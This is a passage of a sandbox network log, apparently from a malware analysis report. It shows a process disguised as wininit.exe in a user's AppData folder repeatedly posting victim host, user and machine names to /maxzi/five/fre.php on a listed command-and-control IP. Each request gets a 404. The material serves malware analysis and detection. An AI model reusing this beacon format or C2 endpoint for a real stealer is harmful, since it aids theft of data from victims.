Nov 20, 2024 11:09:00.196734905 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:00.930401087 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:00 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.22	49211	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:01.092291117 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:01.097364902 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:01.830027103 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:01 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.22	49212	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:01.967614889 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:01.972569942 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:02.711323977 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:02 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.22	49213	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:02.856967926 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:02.864900112 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:03.596916914 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:03 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.22	49214	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:03.744118929 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:03.749037981 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:04.474706888 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:04 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.22	49215	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:04.616421938 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:04.621438026 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:05.407283068 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:05 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.22	49216	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:05.550718069 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:05.555632114 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:06.303242922 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:06 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.22	49217	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:06.500703096 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:06.505714893 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:07.233683109 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:07 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.22	49218	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:07.381669044 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:07.388226986 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:08.137691975 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:08 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.22	49219	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:08.623548985 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:08.631913900 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:09.364536047 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:09 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.22	49220	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:09.502470970 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:09.510262966 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:10.234821081 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:10 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.22	49221	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:10.376441002 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:10.381525993 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:11.115159988 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:11 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.22	49222	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:11.264699936 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:11.269627094 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:12.012393951 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:11 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.22	49223	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:12.149975061 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:12.154908895 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:12.941234112 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:12 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.22	49224	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:13.111741066 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:13.118072033 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:13.866027117 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:13 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.22	49225	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:14.012284040 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:14.021635056 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:14.783304930 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:14 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.22	49226	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:15.048830986 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:15.054347038 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:15.785959005 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:15 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.22	49227	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:15.949862003 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:15.957636118 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:16.809887886 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:16 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.22	49228	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:16.968250036 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:16.974548101 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:17.701922894 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:17 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.22	49229	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:17.850151062 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:17.855870008 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:19.526344061 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:18 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Nov 20, 2024 11:09:19.526712894 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:18 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Nov 20, 2024 11:09:19.527072906 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:18 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.22	49230	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:19.676456928 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:19.681406021 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:20.420433044 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:20 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.22	49231	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
